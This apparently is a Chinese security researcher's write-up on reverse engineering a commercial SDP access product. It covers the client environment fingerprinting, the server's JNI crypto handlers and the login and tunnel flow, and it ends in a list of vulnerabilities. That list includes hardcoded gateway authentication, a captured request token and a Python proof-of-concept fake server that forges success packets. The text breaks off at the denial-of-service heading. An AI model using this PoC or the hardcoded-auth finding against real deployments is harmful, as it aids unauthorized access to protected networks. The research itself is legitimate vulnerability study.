0x1.背景
这几天抽点时间内容整理了一下,一个月前拿来了一家安全厂商的SDP产品玩了一段时间,基本都是抽空玩一玩,因为最近的事情多了放了一段时间,后来想了想没挖到什么高危漏洞感觉又挺没劲,这周又抽几天时间看了一下挖了个命令注入还算有个交代,文中如晚辈有错误的地方不吝赐教。
0x2. 程序分析
逆向分析是花了个把月时间,断断续续的抽时间和周末把客户端程序和服务端基本分析的差不多了,这里摘出流程性的东西,涉及商密的马赛克了毕竟是商业软件,遵守一下职业操守。
下面客户端和服务端我用C-S来表示,C端主要的功能都在动态库里头,导出表大概45个函数,中间都是主程序通过loadlibrary和GetProcAddress得到动态链接库函数地址来调用函数
1、第一这里会抽取【userid(用户名);uuid(用户id);devtype(设备类型);authcod(验证码);devid(设备id);password(密码)】这6个条件进行加密。
2、第二步抽取系统环境信息,这里直接贴汇编把敏感字做了批量替换处理,懒得截图打马了。
000007FEEF8B4946 | FF 15 04 98 0D 00 | call qword ptr ds:[<&RtlEnterCriticalSe |000007FEEF8B494C | 39 1D 62 F5 1A 00 | cmp dword ptr ds:[7FEEFA63EB4],ebx |000007FEEF8B4952 | 0F 85 AB 02 00 00 | jne bdsecuritysse.7FEEF8B4C03 |000007FEEF8B4958 | 48 8D 0D A1 9A 13 00 | lea rcx,qword ptr ds:[7FEEF9EE400] |000007FEEF8B495F | FF 15 C3 9B 0D 00 | call qword ptr ds:[<&_strdup>] |000007FEEF8B4965 | 48 8D 0D AC 9A 13 00 | lea rcx,qword ptr ds:[7FEEF9EE418] |000007FEEF8B496C | 48 89 05 F5 F5 1A 00 | mov qword ptr ds:[7FEEFA63F68],rax |000007FEEF8B4973 | FF 15 AF 9B 0D 00 | call qword ptr ds:[<&_strdup>] |000007FEEF8B4979 | 48 8D 0D A8 9A 13 00 | lea rcx,qword ptr ds:[7FEEF9EE428] |000007FEEF8B4980 | 48 89 05 E9 F5 1A 00 | mov qword ptr ds:[7FEEFA63F70],rax |000007FEEF8B4987 | FF 15 9B 9B 0D 00 | call qword ptr ds:[<&_strdup>] |000007FEEF8B498D | 48 8D 0D A4 9A 13 00 | lea rcx,qword ptr ds:[7FEEF9EE438] |000007FEEF8B4994 | 48 89 05 DD F5 1A 00 | mov qword ptr ds:[7FEEFA63F78],rax |000007FEEF8B499B | FF 15 87 9B 0D 00 | call qword ptr ds:[<&_strdup>] |000007FEEF8B49A1 | 48 8D 0D A0 9A 13 00 | lea rcx,qword ptr ds:[7FEEF9EE448] |000007FEEF8B49A8 | 48 89 05 D1 F5 1A 00 | mov qword ptr ds:[7FEEFA63F80],rax |000007FEEF8B49AF | FF 15 73 9B 0D 00 | call qword ptr ds:[<&_strdup>] |000007FEEF8B49B5 | 48 8D 0D 9C 9A 13 00 | lea rcx,qword ptr ds:[7FEEF9EE458] |000007FEEF8B49BC | 48 89 05 C5 F5 1A 00 | mov qword ptr ds:[7FEEFA63F88],rax |000007FEEF8B49C3 | FF 15 5F 9B 0D 00 | call qword ptr ds:[<&_strdup>] |000007FEEF8B49C9 | 48 8D 0D 90 9A 13 00 | lea rcx,qword ptr ds:[7FEEF9EE460] |000007FEEF8B49D0 | 48 89 05 B9 F5 1A 00 | mov qword ptr ds:[7FEEFA63F90],rax |000007FEEF8B49D7 | FF 15 4B 9B 0D 00 | call qword ptr ds:[<&_strdup>] |000007FEEF8B49DD | 48 8D 0D 94 9A 13 00 | lea rcx,qword ptr ds:[7FEEF9EE478] |000007FEEF8B49E4 | 48 89 05 AD F5 1A 00 | mov qword ptr ds:[7FEEFA63F98],rax |000007FEEF8B49EB | FF 15 37 9B 0D 00 | call qword ptr ds:[<&_strdup>] |000007FEEF8B49F1 | 48 8D 0D 98 9A 13 00 | lea rcx,qword ptr ds:[7FEEF9EE490] |000007FEEF8B49F8 | 48 89 05 A1 F5 1A 00 | mov qword ptr ds:[7FEEFA63FA0],rax |000007FEEF8B49FF | FF 15 23 9B 0D 00 | call qword ptr ds:[<&_strdup>] |000007FEEF8B4A05 | 48 8D 0D 9C 9A 13 00 | lea rcx,qword ptr ds:[7FEEF9EE4A8] |000007FEEF8B4A0C | 48 89 05 95 F5 1A 00 | mov qword ptr ds:[7FEEFA63FA8],rax |000007FEEF8B4A13 | FF 15 0F 9B 0D 00 | call qword ptr ds:[<&_strdup>] |000007FEEF8B4A19 | 48 8D 0D 98 9A 13 00 | lea rcx,qword ptr ds:[7FEEF9EE4B8] |000007FEEF8B4A20 | 48 89 05 89 F5 1A 00 | mov qword ptr ds:[7FEEFA63FB0],rax |000007FEEF8B4A27 | FF 15 FB 9A 0D 00 | call qword ptr ds:[<&_strdup>] |000007FEEF8B4A2D | 48 8D 0D 9C 9A 13 00 | lea rcx,qword ptr ds:[7FEEF9EE4D0] |000007FEEF8B4A34 | 48 89 05 7D F5 1A 00 | mov qword ptr ds:[7FEEFA63FB8],rax |000007FEEF8B4A3B | FF 15 E7 9A 0D 00 | call qword ptr ds:[<&_strdup>] |000007FEEF8B4A41 | 48 8D 0D 90 9A 13 00 | lea rcx,qword ptr ds:[7FEEF9EE4D8] |000007FEEF8B4A48 | 48 89 05 71 F5 1A 00 | mov qword ptr ds:[7FEEFA63FC0],rax |000007FEEF8B4A4F | FF 15 D3 9A 0D 00 | call qword ptr ds:[<&_strdup>] |000007FEEF8B4A55 | 48 8D 0D 8C 9A 13 00 | lea rcx,qword ptr ds:[7FEEF9EE4E8] |000007FEEF8B4A5C | 48 89 05 65 F5 1A 00 | mov qword ptr ds:[7FEEFA63FC8],rax |000007FEEF8B4A63 | FF 15 BF 9A 0D 00 | call qword ptr ds:[<&_strdup>] |000007FEEF8B4A69 | 48 8D 0D 90 9A 13 00 | lea rcx,qword ptr ds:[7FEEF9EE500] |000007FEEF8B4A70 | 48 89 05 59 F5 1A 00 | mov qword ptr ds:[7FEEFA63FD0],rax |000007FEEF8B4A77 | FF 15 AB 9A 0D 00 | call qword ptr ds:[<&_strdup>] |000007FEEF8B4A7D | 48 8D 0D 8C 9A 13 00 | lea rcx,qword ptr ds:[7FEEF9EE510] |000007FEEF8B4A84 | 48 89 05 4D F5 1A 00 | mov qword ptr ds:[7FEEFA63FD8],rax |000007FEEF8B4A8B | FF 15 97 9A 0D 00 | call qword ptr ds:[<&_strdup>] |000007FEEF8B4A91 | 48 8D 0D 88 9A 13 00 | lea rcx,qword ptr ds:[7FEEF9EE520] |000007FEEF8B4A98 | 48 89 05 41 F5 1A 00 | mov qword ptr ds:[7FEEFA63FE0],rax |000007FEEF8B4A9F | FF 15 83 9A 0D 00 | call qword ptr ds:[<&_strdup>] |000007FEEF8B4AA5 | 48 8D 0D 34 F4 1A 00 | lea rcx,qword ptr ds:[7FEEFA63EE0] |000007FEEF8B4AAC | 48 89 05 35 F5 1A 00 | mov qword ptr ds:[7FEEFA63FE8],rax |000007FEEF8B4AB3 | E8 28 03 00 00 | call bdsecuritysse.7FEEF8B4DE0 |000007FEEF8B4AB8 | 48 8D 0D 29 F4 1A 00 | lea rcx,qword ptr ds:[7FEEFA63EE8] |000007FEEF8B4ABF | 89 05 2B F5 1A 00 | mov dword ptr ds:[7FEEFA63FF0],eax |000007FEEF8B4AC5 | E8 86 08 00 00 | call bdsecuritysse.7FEEF8B5350 |000007FEEF8B4ACA | 48 8D 0D 1F F4 1A 00 | lea rcx,qword ptr ds:[7FEEFA63EF0] |000007FEEF8B4AD1 | 89 05 1D F5 1A 00 | mov dword ptr ds:[7FEEFA63FF4],eax |000007FEEF8B4AD7 | E8 E4 0D 00 00 | call bdsecuritysse.7FEEF8B58C0 |000007FEEF8B4ADC | 48 8D 0D 15 F4 1A 00 | lea rcx,qword ptr ds:[7FEEFA63EF8] |000007FEEF8B4AE3 | 89 05 0F F5 1A 00 | mov dword ptr ds:[7FEEFA63FF8],eax |000007FEEF8B4AE9 | E8 42 12 00 00 | call bdsecuritysse.7FEEF8B5D30 |000007FEEF8B4AEE | 48 8D 0D 0B F4 1A 00 | lea rcx,qword ptr ds:[7FEEFA63F00] |000007FEEF8B4AF5 | 89 05 01 F5 1A 00 | mov dword ptr ds:[7FEEFA63FFC],eax |000007FEEF8B4AFB | E8 20 19 00 00 | call bdsecuritysse.7FEEF8B6420 |000007FEEF8B4B00 | 48 8D 0D 01 F4 1A 00 | lea rcx,qword ptr ds:[7FEEFA63F08] |000007FEEF8B4B07 | 89 05 F3 F4 1A 00 | mov dword ptr ds:[7FEEFA64000],eax |000007FEEF8B4B0D | E8 7E 1E 00 00 | call bdsecuritysse.7FEEF8B6990 |000007FEEF8B4B12 | 48 8D 0D F7 F3 1A 00 | lea rcx,qword ptr ds:[7FEEFA63F10] |000007FEEF8B4B19 | 89 05 E5 F4 1A 00 | mov dword ptr ds:[7FEEFA64004],eax |000007FEEF8B4B1F | E8 BC 22 00 00 | call bdsecuritysse.7FEEF8B6DE0 |000007FEEF8B4B24 | 48 8D 0D ED F3 1A 00 | lea rcx,qword ptr ds:[7FEEFA63F18] |000007FEEF8B4B2B | 89 05 D7 F4 1A 00 | mov dword ptr ds:[7FEEFA64008],eax |000007FEEF8B4B31 | E8 1A 28 00 00 | call bdsecuritysse.7FEEF8B7350 |000007FEEF8B4B36 | 48 8D 0D E3 F3 1A 00 | lea rcx,qword ptr ds:[7FEEFA63F20] |000007FEEF8B4B3D | 89 05 C9 F4 1A 00 | mov dword ptr ds:[7FEEFA6400C],eax |000007FEEF8B4B43 | E8 28 2A 00 00 | call bdsecuritysse.7FEEF8B7570 |000007FEEF8B4B48 | 48 8D 0D D9 F3 1A 00 | lea rcx,qword ptr ds:[7FEEFA63F28] |000007FEEF8B4B4F | 89 05 BB F4 1A 00 | mov dword ptr ds:[7FEEFA64010],eax |000007FEEF8B4B55 | E8 26 2D 00 00 | call bdsecuritysse.7FEEF8B7880 |000007FEEF8B4B5A | 89 05 B4 F4 1A 00 | mov dword ptr ds:[7FEEFA64014],eax |000007FEEF8B4B60 | 48 8D 0D C9 F3 1A 00 | lea rcx,qword ptr ds:[7FEEFA63F30] |000007FEEF8B4B67 | E8 E4 2D 00 00 | call bdsecuritysse.7FEEF8B7950 |000007FEEF8B4B6C | 48 8D 0D C5 F3 1A 00 | lea rcx,qword ptr ds:[7FEEFA63F38] |000007FEEF8B4B73 | 89 05 9F F4 1A 00 | mov dword ptr ds:[7FEEFA64018],eax |000007FEEF8B4B79 | E8 E2 34 00 00 | call bdsecuritysse.7FEEF8B8060 |000007FEEF8B4B7E | 48 8D 0D BB F3 1A 00 | lea rcx,qword ptr ds:[7FEEFA63F40] |000007FEEF8B4B85 | 89 05 91 F4 1A 00 | mov dword ptr ds:[7FEEFA6401C],eax |000007FEEF8B4B8B | E8 40 3A 00 00 | call bdsecuritysse.7FEEF8B85D0 |000007FEEF8B4B90 | 48 8D 0D B1 F3 1A 00 | lea rcx,qword ptr ds:[7FEEFA63F48] |000007FEEF8B4B97 | 89 05 83 F4 1A 00 | mov dword ptr ds:[7FEEFA64020],eax |000007FEEF8B4B9D | E8 3E 3B 00 00 | call bdsecuritysse.7FEEF8B86E0 |000007FEEF8B4BA2 | 48 8D 0D A7 F3 1A 00 | lea rcx,qword ptr ds:[7FEEFA63F50] |000007FEEF8B4BA9 | 89 05 75 F4 1A 00 | mov dword ptr ds:[7FEEFA64024],eax |000007FEEF8B4BAF | E8 8C 3C 00 00 | call bdsecuritysse.7FEEF8B8840 |000007FEEF8B4BB4 | 48 8D 0D 9D F3 1A 00 | lea rcx,qword ptr ds:[7FEEFA63F58] |000007FEEF8B4BBB | 89 05 67 F4 1A 00 | mov dword ptr ds:[7FEEFA64028],eax |000007FEEF8B4BC1 | E8 DA 42 00 00 | call bdsecuritysse.7FEEF8B8EA0 |000007FEEF8B4BC6 | 48 8D 0D 93 F3 1A 00 | lea rcx,qword ptr ds:[7FEEFA63F60] |000007FEEF8B4BCD | 89 05 59 F4 1A 00 | mov dword ptr ds:[7FEEFA6402C],eax |000007FEEF8B4BD3 | E8 38 42 00 00 | call bdsecuritysse.7FEEF8B8E10 |000007FEEF8B4BD8 | 48 8D 15 55 F4 1A 00 | lea rdx,qword ptr ds:[7FEEFA64034] |000007FEEF8B4BDF | 89 05 4B F4 1A 00 | mov dword ptr ds:[7FEEFA64030],eax |000007FEEF8B4BE5 | 48 8D 05 04 F4 1A 00 | lea rax,qword ptr ds:[7FEEFA63FF0] |000007FEEF8B4BEC | 0F 1F 40 00 | nop dword ptr ds:[rax] |000007FEEF8B4BF0 | 8B 08 | mov ecx,dword ptr ds:[rax] |
获取【cpu;bios;harddisk;os_version;ie_core;graphic_driver_version;sound_driver_version;run_memory;run_process_list;nic_mac;systemharddisk;ip_address;hostname;Vmware】通过UDP协议发送到S端,方便之后定时发现里头的数据发生改变后,就对用户进行重新身份验证。后面的就是S端处理是个linux系统,有个C++底层负责对C端的交互和日志记录,还有把传过来的UDP数据包转换成HTTP请求发送给java处理,业务层这块采用的是微服务架构spring cloud eureka,S端得话导出函数相对比较多了,1300多个(包括系统导出函数)。
text:000000000040EF98 push rbp
.text:000000000040EF99 mov rbp, rsp
.text:000000000040EF9C sub rsp, 0CF0h
.text:000000000040EFA3 mov [rbp+token], rdi
.text:000000000040EFAA mov [rbp+ret], 0
.text:000000000040EFB1 mov [rbp+cookie], 0
.text:000000000040EFB9 mov [rbp+data], 0
.text:000000000040EFC1 lea rsi, [rbp+post_buff]
.text:000000000040EFC8 mov eax, 0
.text:000000000040EFCD mov edx, 100h
.text:000000000040EFD2 mov rdi, rsi
.text:000000000040EFD5 mov rcx, rdx
.text:000000000040EFD8 rep stosq
.text:000000000040EFDB lea rsi, [rbp+http_response]
.text:000000000040EFE2 mov eax, 0
.text:000000000040EFE7 mov edx, 7
.text:000000000040EFEC mov rdi, rsi
.text:000000000040EFEF mov rcx, rdx
.text:000000000040EFF2 rep stosq
.text:000000000040EFF5 mov [rbp+ptr_1000], 0
.text:000000000040EFFD mov [rbp+str_1000], offset a1000 ; "1000"
.text:000000000040F005 lea rsi, [rbp+c_uri_api]
.text:000000000040F00C mov eax, 0
.text:000000000040F011 mov edx, 40h ; '@'
.text:000000000040F016 mov rdi, rsi
.text:000000000040F019 mov rcx, rdx
.text:000000000040F01C rep stosq
.text:000000000040F01F mov rax, cs:g_running_conf.remote_host
.text:000000000040F026 test rax, rax
.text:000000000040F029 jz short loc_40F043
.text:000000000040F02B movzx eax, cs:g_running_conf.remote_port
.text:000000000040F032 test ax, ax
.text:000000000040F035 jz short loc_40F043
.text:000000000040F037 mov rax, cs:g_running_conf.remote_uri_head
.text:000000000040F03E test rax, rax
.text:000000000040F041 jnz short loc_40F04D
.text:000000000040F043
.text:000000000040F043 loc_40F043: ; CODE XREF: x+91↑j
.text:000000000040F043 ; x+9D↑j
.text:000000000040F043 mov eax, 0FFFFDCD8h
.text:000000000040F048 jmp locret_41091C
.text:000000000040F04D ; ---------------------------------------------------------------------------
.text:000000000040F04D
.text:000000000040F04D loc_40F04D: ; CODE XREF: x+A9↑j
.text:000000000040F04D mov rdx, cs:g_running_conf.remote_uri_head
.text:000000000040F054 lea rax, [rbp+c_uri_api]
.text:000000000040F05B mov r8d, offset aMapi01SpaVerif ;
.text:000000000040F061 mov rcx, rdx
.text:000000000040F064 mov edx, offset aSS_0 ; "%s%s"
.text:000000000040F069 mov esi, 200h ; maxlen
.text:000000000040F06E mov rdi, rax ; s
.text:000000000040F071 mov eax, 0
.text:000000000040F076 call _snprintf
.text:000000000040F07B mov [rbp+cookie], offset aCmSessionZdg2m ;
.text:000000000040F083 mov rdx, [rbp+token]
.text:000000000040F08A lea rax, [rbp+post_buff]
.text:000000000040F091 mov rcx, rdx
.text:000000000040F094 mov edx, offset aTokenS ; "{\"token\":\"%s\"}"
.text:000000000040F099 mov esi, 800h ; maxlen
.text:000000000040F09E mov rdi, rax ; s
这里直接把认证auth写死在了HTTP当中,那控制器对网关的交互不需要校验了......
如果知道网关的地址任何一台机器可以都直接对网关操作了?
POST /authn/mapi/01/spa/init/apply HTTP/1.1
Host: xxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36
Cache-Control: no-cache
Accept: */*
Cookie: 已打码
Content-type: application/json
Content-Length: 329
{"token":"04C3C23F2C0A6F2562dfg3331163179F97F107FAhpE/OIGLhE5dRJTpVx2yw2uDl1vlxdGbP6IfAb2++r2MRb8Jy94wj2qh875TueA1lVw72gfosHBRtLXnDrd1vMeC1SgJM1UkWjKrS/VYDluXbpNmdjCnpsJqIHbcaiKFpcwmPZJHjjxWhvVGDnXLu/3iv6do6hCCMgparCzSaYFa40K/psaANzjgjZbJ9BLDzDS0xWS5gE2zgulP1olF7sZY7WcIyTFKlX7mnAGsqXY=-1001756NlTYtA0TchCrDoNe1VJszqYECU4jXasmPewY="}
解密的实现操作在jni里头,后续业务逻辑的操作在java端,jar的话用jd-gui就全部反编译出来了密钥啥的都在里头- -,java端采用了微服务架构就是先通过网关的端口转发到注册服务函数处理。
再跟到处理校验认证的类,看看实现。
经过securityTokenDecode函数,发现在另一个jar包。
通过jni调用了C,实现还是在C里,找到System.loadLibrary("xxx") 并反汇编:
.text:000000000011C409 lea rdx, gMethods
.text:000000000011C410 lea rcx, aProcesscmd ; "processCmd"
.text:000000000011C417 mov [rax+rdx], rcx
.text:000000000011C41B mov eax, [rbp+var_4]
.text:000000000011C41E movsxd rdx, eax
.text:000000000011C421 mov rax, rdx
.text:000000000011C424 add rax, rax
.text:000000000011C427 add rax, rdx
.text:000000000011C42A shl rax, 3
.text:000000000011C42E lea rdx, gMethods
.text:000000000011C435 lea rcx, aIljavaLangObje ; "(ILjava/lang/Object;[Ljava/lang/Object;"...
.text:000000000011C43C mov [rax+rdx+8], rcx
.text:000000000011C441 mov eax, [rbp+var_4]
.text:000000000011C444 movsxd rdx, eax
.text:000000000011C447 mov rax, rdx
.text:000000000011C44A add rax, rax
.text:000000000011C44D add rax, rdx
.text:000000000011C450 shl rax, 3
.text:000000000011C454 lea rdx, unk_548810
.text:000000000011C45B lea rcx, jni_process_command
.text:000000000011C462 mov [rax+rdx], rcx
.text:000000000011C466 add [rbp+var_4], 1
.text:000000000011C46A mov edx, [rbp+var_4]
.text:000000000011C46D mov rax, [rbp+var_18]
.text:000000000011C471 mov ecx, edx
.text:000000000011C473 lea rdx, gMethods
.text:000000000011C47A lea rsi, aComxxxSdkAl ; "com/xxx/sdk/"
.text:000000000011C481 mov rdi, rax
.text:000000000011C484 call registerNativeMethods
调用了registerNativeMethods
函数原型:
static int registerNativeMethods(JNIEnv* env, const char* className,
JNINativeMethod* gMethods, int numMethods)
{
jclass clazz;
//注册函数需要和对应类挂钩,这里先取地对应类
clazz = env->FindClass(className);
if (clazz == NULL)
return JNI_FALSE;
if (env->RegisterNatives(clazz, gMethods, numMethods) < 0)
{
//LOGE("register nativers error");
return JNI_FALSE;
}
return JNI_TRUE;
}
JNI_Onload:
__int64 __fastcall JNI_OnLoad(__int64 a1)
{
__int64 result; // rax
__int64 v2; // rdi
__int64 v3; // [rsp+10h] [rbp-10h] BYREF
int v4; // [rsp+18h] [rbp-8h]
int v5; // [rsp+1Ch] [rbp-4h]
v3 = 0LL;
v5 = -1;
v4 = 0;
memset(cmd_id_list, 0, sizeof(cmd_id_list));
memset(jni_func_list, 0, sizeof(jni_func_list));
if ( (*(*a1 + 060LL))(a1, &v3, 65540LL) )
return 0xFFFFFFFFLL;
v2 = v3;
if ( !registerNatives(v3) )
return 0xFFFFFFFFLL;
v4 = _s201603301100(v2);
if ( v4 )
result = 0xFFFFFFFFLL;
else
result = 65540LL;
return result;
}
_QWORD *__fastcall register_command_processor(int a1, __int64 a2)
{
_QWORD *result; // rax
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 511; ++i )
{
result = jni_func_list[i];
if ( !result )
{
cmd_id_list[i] = a1;
result = jni_func_list;
jni_func_list[i] = a2;
return result;
}
}
return result;
}
注册jni函数
__int64 registerNatives()
{
register_command_processor(7854, randomSM2KeyPairs);
register_command_processor(7853, sm2Encrypt);
register_command_processor(7852, sm2Decrypt);
register_command_processor(7851, sm2DoSign);
register_command_processor(7850, sm2VerifySign);
register_command_processor(7849, sm3HashWithData);
register_command_processor(7848, sm3HashWithFilePath);
register_command_processor(7847, randomSM4IV);
register_command_processor(7846, randomSM4Key);
register_command_processor(7845, sm4EncryptData);
register_command_processor(7844, sm4DecryptData);
register_command_processor(7843, sm4EncryptFile);
register_command_processor(7842, sm4DecryptFile);
register_command_processor(7841, randomAESGCM128Key);
register_command_processor(7840, aesGcm128EncryptData);
register_command_processor(7871, aesGcm128DecryptData);
register_command_processor(7870, randomRSAKeyPairs);
register_command_processor(7869, rsaEncrypt);
register_command_processor(7868, rsaDecrypt);
register_command_processor(7867, rsaDoSign);
register_command_processor(7866, rsaVerifySign);
register_command_processor(7865, md5Data);
register_command_processor(7864, sha1Data);
register_command_processor(7863, sha224Data);
register_command_processor(7862, sha256Data);
register_command_processor(7861, hmacMD5Data);
register_command_processor(7860, hmacSHA1Data);
register_command_processor(7859, hmacSHA256Data);
register_command_processor(7858, aes256Encrypt);
register_command_processor(7857, aes256Decrypt);
register_command_processor(7856, sha512Data);
register_command_processor(7823, hmacSHA512Data);
register_command_processor(7822, hmacSM3Data);
register_command_processor(7839, collaboSM2ClientGenKeypairs);
register_command_processor(7838, collaboSM2ServerGenKeypairs);
register_command_processor(7837, collaboSM2ClientFristDoSign);
register_command_processor(7836, collaboSM2ServerDoSign);
register_command_processor(7835, collaboSM2ClientSecondDoSign);
register_command_processor(7834, SSEcollaboSM2ServerProcessGenKeypairs);
register_command_processor(7833, SSEcollaboSM2ServerProcessDoSign);
register_command_processor(7761, xxxx);
register_command_processor(7760, xxxx);
register_command_processor(7359, xxxx);
register_command_processor(7358, xxxx);
register_command_processor(7342, xxxx);
register_command_processor(7341, xxxx);
register_command_processor(7340, xxxx);
register_command_processor(7339, xxxx);
return 1LL;
}
通过注册函数和对应类解密函数:
jni函数表
之后解密后进数据库(使用了#{}来防SQL注入):
根据逻辑返回相对应的status给C端,以上就是第一步身份验证的流程。
身份校验通过后进入第二流程,得到控制器IP和端口开始登陆。
请求数据包如下:
调试器附加进程:内容依旧带上了上面的用户名密码验证码信息外加了一个json ext字段包含了两个内容:codetoken,pubkey。
看看S端得处理逻辑,这里简单说一下流程,不贴代码了。
S端底层获取到数据后发送到相应得注册服务,服务函数里逻辑为:解密数据包、检测用户是否存在、检测codetoken是否为空、检查手机号、检查pubkey是否为空(key客户端生成,服务端不会去校验它的真实性),一顿的逻辑检查通过后【uuid,userid,时间,设备类型,pubkey,clientype】入库,最后获取隧道的相关配置信息返还给C端.
隧道配置内容:
{"allowedips": , "dns": "", "portaluri": "", "riskuri": "" }
生成一个配置文件后创建隧道服务:
00000000007E6A27 | 48 89 54 24 50 | mov qword ptr ss:[rsp+50],rdx |
00000000007E6A2C | 48 89 04 24 | mov qword ptr ss:[rsp],rax | [rsp]:"WireGuardTunnel$controller"
00000000007E6A30 | 48 89 4C 24 08 | mov qword ptr ss:[rsp+8],rcx |
00000000007E6A35 | E8 66 C8 00 00 | call client.7F32A0 |
最后就是每次连接就走指定的某隧道就行了,基本的流程摸透了,最后写一下发现的安全问题。
0x3.漏洞
刚开始基本测了一周左右,发现了几个安全问题,比较有价值的就是一个拒绝服务还有加密协议的加密密钥来重新实现加密传输就可以暴力猜账号密码,这两天也挖了服务端一个远程命令注入。
首先产品说明文档里带了一个产品部署的架构图,这里脱下敏,自己照猫画虎画了一个差不多的图。
从完全黑盒测试的角度就只有一个客户端,对于服务端的所有信息除了IP地址外,没有任何其他有用的信息。
1.认证机制绕过
C到S传输协议UDP,并经过某种加密进行传输,过程中没有协商之类的,看一眼抓包数据:
可以实现一个S端不管发送什么数据只给他一个成功的状态码就能欺骗到登录成功的界面,这里需要满足两个条件:
1、需要一个成功的状态码数据包或information。
2、没有二次校验的机制。
写了一个S端进行了测试,成功绕过了第一层校验到达登陆页面的时候才发现有二次校验的机制,之后二次校验的包来回分析发现了在第一步的校验包中会有一个设备ID的hash码要存入S的数据库中,在二次校验中会对设备HASH码查询来校验第一步的认证,此路是行不通。
POC:
#-*- encoding: utf-8 -*-
from socket import *
from time import ctime
import sys
import binascii
reload(sys)
sys.setdefaultencoding('utf-8')
HOST = ''
PORT = 4430
BUFSIZ = 5000
ADDRESS = (HOST, PORT)
udpServerSocket = socket(AF_INET, SOCK_DGRAM)
udpServerSocket.bind(ADDRESS) # 绑定客户端口和地址
while True:
print("waiting for message...")
data, addr = udpServerSocket.recvfrom(BUFSIZ)
print("接收到数据:")
content = "\x66\x00\x00\x00\x00\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a" \
"\x00\x02\x00\x50\x7b\x55\x73\x74\x61\x74\x75\x73\x22\x3a\x31\x30" \
"\x30\x30\x2c\x22\x72\x65\x73\x70\x6f\x6e\x73\x65\x5f\x62\x6f\x64" \
"\x79\x22\x3a\x7b\x22\x63\x6f\x64\x65\x74\x6f\x6b\x65\x6e\x22\x3a" \
"\x22\x31\x66\x34\x33\x32\x34\x63\x33\x36\x38\x31\x63\x34\x33\x35" \
"\x36\x62\x61\x33\x35\x31\x66\x66\x62\x37\x35\x39\x34\x33\x36\x66" \
"\x36\x22\x7d\x7d\x00\x03\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
#################################################################################
udpServerSocket.sendto(content, addr)
print('...received from and returned to:', addr)
print("waiting for message...")
data, addr = udpServerSocket.recvfrom(BUFSIZ)
print("接收到数据:2222")
content1 = "\x00\x0c\x29\xb0\x3a\x07\x84\x65\x69\x6e\xda\x22\x08\x00\x45\x00" \
"\x02\x0c\xe1\xde\x40\x00\x3f\x11\xc3\xf1\xc0\xa8\x0a\x16\xc0\xa8" \
"\x08\xaa\x11\x4e\xe3\x54\x01\xf8\xa6\x1e\x68\x00\x00\x00\x01\xf0" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x51\x0a\x00\x02\x01\xb4\x7b\x22" \
"\x73\x74\x61\x74\x75\x73\x22\x3a\x31\x30\x30\x30\x2c\x22\x72\x65" \
"\x73\x70\x6f\x6e\x73\x65\x5f\x62\x6f\x64\x79\x22\x3a\x7b\x22\x73" \
"\x64\x70\x5f\x63\x6c\x69\x65\x6e\x74\x5f\x63\x6f\x6e\x66\x22\x3a" \
"\x7b\x22\x61\x6c\x6c\x6f\x77\x65\x64\x69\x70\x73\x22\x3a\x5b\x22" \
"\x31\x30\x2e\x30\x2e\x30\x2e\x31\x2f\x33\x32\x22\x2c\x22\x31\x39" \
"\x32\x2e\x31\x36\x38\x2e\x31\x30\x2e\x30\x2f\x31\x36\x22\x2c\x22" \
"\x31\x37\x32\x2e\x31\x36\x2e\x30\x2e\x30\x2f\x31\x36\x22\x5d\x2c" \
"\x22\x70\x6f\x72\x74\x61\x6c\x75\x72\x69\x22\x3a\x22\x68\x74\x74" \
"\x70\x3a\x2f\x2f\x31\x30\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x30" \
"\x30\x30\x2f\x6c\x6f\x67\x69\x6e\x2e\x68\x74\x6d\x6c\x22\x2c\x22" \
"\x72\x69\x73\x6b\x75\x72\x69\x22\x3a\x22\x68\x74\x74\x70\x3a\x2f" \
"\x2f\x31\x30\x2e\x30\x2e\x30\x2e\x31\x3a\x38\x31\x30\x30\x2f\x61" \
"\x75\x74\x68\x6e\x2f\x6d\x61\x70\x69\x2f\x30\x31\x2f\x73\x70\x61" \
"\x2f\x72\x69\x73\x6b\x22\x2c\x22\x64\x6e\x73\x22\x3a\x22\x31\x30" \
"\x2e\x30\x2e\x30\x2e\x31\x22\x7d\x2c\x22\x74\x6f\x6b\x65\x6e\x22" \
"\x3a\x22\x45\x43\x31\x44\x44\x42\x32\x39\x37\x32\x32\x38\x35\x43" \
"\x38\x31\x31\x39\x39\x33\x43\x36\x41\x33\x45\x32\x31\x44\x37\x45" \
"\x37\x31\x6c\x50\x50\x48\x6c\x50\x63\x52\x74\x5a\x74\x64\x6a\x32" \
"\x65\x7a\x4c\x4a\x4e\x78\x4c\x6a\x4f\x36\x76\x76\x63\x31\x53\x65" \
"\x55\x63\x46\x55\x69\x6a\x52\x5a\x37\x66\x2f\x4a\x49\x50\x37\x46" \
"\x51\x67\x2f\x4a\x47\x4b\x70\x6a\x70\x34\x50\x31\x6c\x42\x62\x75" \
"\x6b\x36\x50\x35\x7a\x53\x5a\x69\x37\x6f\x59\x7a\x58\x6a\x6d\x67" \
"\x4e\x69\x41\x44\x66\x2f\x37\x44\x74\x55\x78\x59\x52\x6e\x52\x69" \
"\x6d\x56\x6a\x7a\x43\x47\x74\x78\x4c\x43\x4d\x54\x6f\x3d\x2d\x31" \
"\x30\x30\x31\x45\x49\x74\x50\x6c\x48\x6d\x76\x67\x4c\x4e\x37\x5a" \
"\x55\x68\x79\x75\x47\x4d\x6f\x36\x62\x33\x68\x4e\x2f\x6c\x4b\x36" \
"\x6f\x7a\x44\x4e\x30\x38\x73\x69\x56\x79\x2f\x66\x6e\x45\x3d\x22" \
"\x7d\x7d\x00\x03\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
udpServerSocket.sendto(content1, addr)
print('...received from and returned to:', addr)
udpServerSocket.close()
2.拒绝服务
